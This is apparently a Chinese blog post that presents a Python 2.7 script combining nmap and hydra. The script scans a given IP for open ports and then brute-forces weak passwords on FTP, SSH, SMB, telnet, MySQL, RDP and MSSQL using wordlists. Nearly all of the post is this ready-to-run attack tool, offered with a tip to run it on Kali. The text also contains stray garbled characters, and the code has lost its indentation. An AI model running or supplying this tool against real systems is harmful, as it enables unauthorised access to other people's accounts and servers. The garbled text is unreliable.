為了方便對端口對應(yīng)服務(wù)進(jìn)行弱口令的爆破寥粹。使用python將nmap和hydra進(jìn)行結(jié)合。稚铣。
代碼：
#coding=utf-8
#python2.7
import os
import re
ip=raw_input("請輸入IP地址:")
servers=['ftp','ssh','smb','telnet','mysql','rdp','mssql']
def weak(ip):
os.system('nmap -sS -v -n -T4 %s -oN result.txt' % ip)
with open('result.txt','r') as f:
line=f.read().replace(' ','')
pattern=re.compile(r'.*/tcpopen.*')
keyword=pattern.findall(line)
#print keyword
hydra(keyword)
def hydra(keyword):
for k in keyword:
i=k.find('open')
server=k[i+4:]
if server in servers:
print "\033[1;31;40m===>hydra start brute %s ====>\033[0m" % server
os.system('hydra -L user.txt -P word.txt -t 4 %s://%s ' % (server,ip))
if server=="ms-wbt-server":
print "\033[1;31;40m===> hydra start brute rdp server ====>\033[0m"
os.system('hydra -L user.txt -P word.txt -t 4 rdp://%s ' % ip)
else:
pass
if __name__ == '__main__':
weak(ip)
格式為：
因?yàn)閗ali有現(xiàn)成的nmap伤极、hydra工具。直接放置在kali進(jìn)行運(yùn)行膘滨。
